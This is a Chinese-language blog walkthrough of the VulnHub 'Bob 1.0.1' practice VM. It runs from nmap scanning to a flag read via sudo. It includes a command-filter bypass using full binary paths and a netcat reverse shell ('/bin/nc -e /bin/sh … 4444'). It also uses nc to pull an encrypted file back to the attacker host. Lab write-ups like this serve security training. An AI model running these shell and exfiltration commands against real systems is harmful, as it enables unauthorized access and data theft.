Hu3sky's blog

Bob 1.0.1

Word count: 1,060 / Reading time: 4 min
2018/07/03 Share

本文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/150194

题记

最近在打靶机,发现了一个挺有意思又挺有技巧性的靶机,这里想跟大家分享一下,各位大佬轻喷。

环境准备

https://download.vulnhub.com/bob/Bob_v1.0.1.ova (靶机下载地址)
攻击机 Kali IP 192.168.107.129
靶机在同一C段下

主机发现

使用命令nmap -sP 192.168.107.1/24
1
192.168.107.1是我物理机的ip,而192.168.107.254是结束ip。所以说我们的靶机ip就是192.168.107.132.

端口扫描

使用命令nmap -sS 192.168.107.132
2。我们发现只开放了一个web 80端口。我们访问。
3。上面虽说有Home之类的选项。但是点不动的,没用。
所以说web页面上没什么搞头,所以我们从目录下手

目录扫描

这里我使用御剑扫描,可以看到,扫出来了robots.txt4。访问,看到如下几个根目录。依次访问一下。
login.php直接是404。passwords.html是5。lat_memo.html是6。这两个页面都没什么有用的信息。接下来是dev_shell.php。这才是本次靶机的突破口。7

寻找突破口

一开始,我天真的以为这是一个后面。。。。拿起burp就去爆破密码,半天爆不出来。再回头来看,发现有个Output。想一想会不会是一个执行命令的。试一试8果然。执行了命令,当我使用ls时,9页面没有了回显。于是,我推测,应该是ls被禁用了,但是不要忘了,ls还有个加强版的命令(也不能说是加强版,理解意思就行)。lsattr,我们试一试,10,没用过滤,这下可以看到很多有用的东西。比如说这个./dev_shell_php.bak,这很明显是个源码泄露,我们把源码DOWN下来。11。看到上面过滤了一些命令,其中包括我们可能用到的ls,nc,cat。 其实这样也可以一步一步进行信息的搜集12。但是,每次都要输这么多,显然是很麻烦的。所以我想反弹一个shell到我的攻击机上。但是nc都被禁了,这里用了很多方式,最后发现这种方式能够绕过,直接去/bin里使用命令,比如我使用cat使用命令/bin/cat robots.txt13

获取会话

知道怎么绕过nc,接下来就是获得会话了,首先在我的攻击机上使用命令nc -lvp 4444,接着在执行命令界面使用 /bin/nc -e /bin/sh 192.168.107.1 4444。然后,成功获取会话。14whoami 可以看到我们目前的权限。为了美化一下界面,产生一个TTY Shell 使用python -c 'import pty;pty.spawn("/bin/bash")'15,接着ls看下目录下的文件,有个flag.txt,应该是没权限查看的16

获得密码

进入home目录,查看一下有哪些用户。17。先看bob吧,18。可以看到两个文件和一个目录,那个login.txt.gpg是gpg加密的,需要密码,所以,现在的目标,就是要搞到密码。同目录下还有个Secret,跟进去看看。19。这个地方,需要有某种常识。。。这个地方也是卡了半天。。20,就是这个,可以发现就是个所谓的’藏头诗’21。这也是比较有意思的,不知道确实就真的不知道了。。所以,密码自然就是这个每一句的开头了。
然后我们使用命令解密gpg --batch --passphrase HARPOCRATES -d login.txt.gpg。结果还是没法22。这里又卡了半天,
我是这样做的👉:用nc将该文件转发到我的攻击机上,再用gpg解密。

  1. 先在攻击机上nc -lvp 1235 > login.txt.gpg。意思是接收的文件是login.txt.gpg
  2. 在靶机上先切换到/home/bob/Documents下,接着使用命令nc -w 3 192.168.107.129 1235 < login.txt.gpg
    23。接着ctrl c结束,查看24。已经被转移过来了,然后,再次使用解密命令解密。25,解密成功。获得了bob的密码。

get flag

登陆bob的账号。su bob。然后我直接sudo cat flag.txt。就得到了flag26

CATALOG
  1. 1. 本文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/150194
  2. 2. 题记
  3. 3. 环境准备
  4. 4. 主机发现
  5. 5. 端口扫描
  6. 6. 目录扫描
  7. 7. 寻找突破口
  8. 8. 获取会话
  9. 9. 获得密码
  10. 10. get flag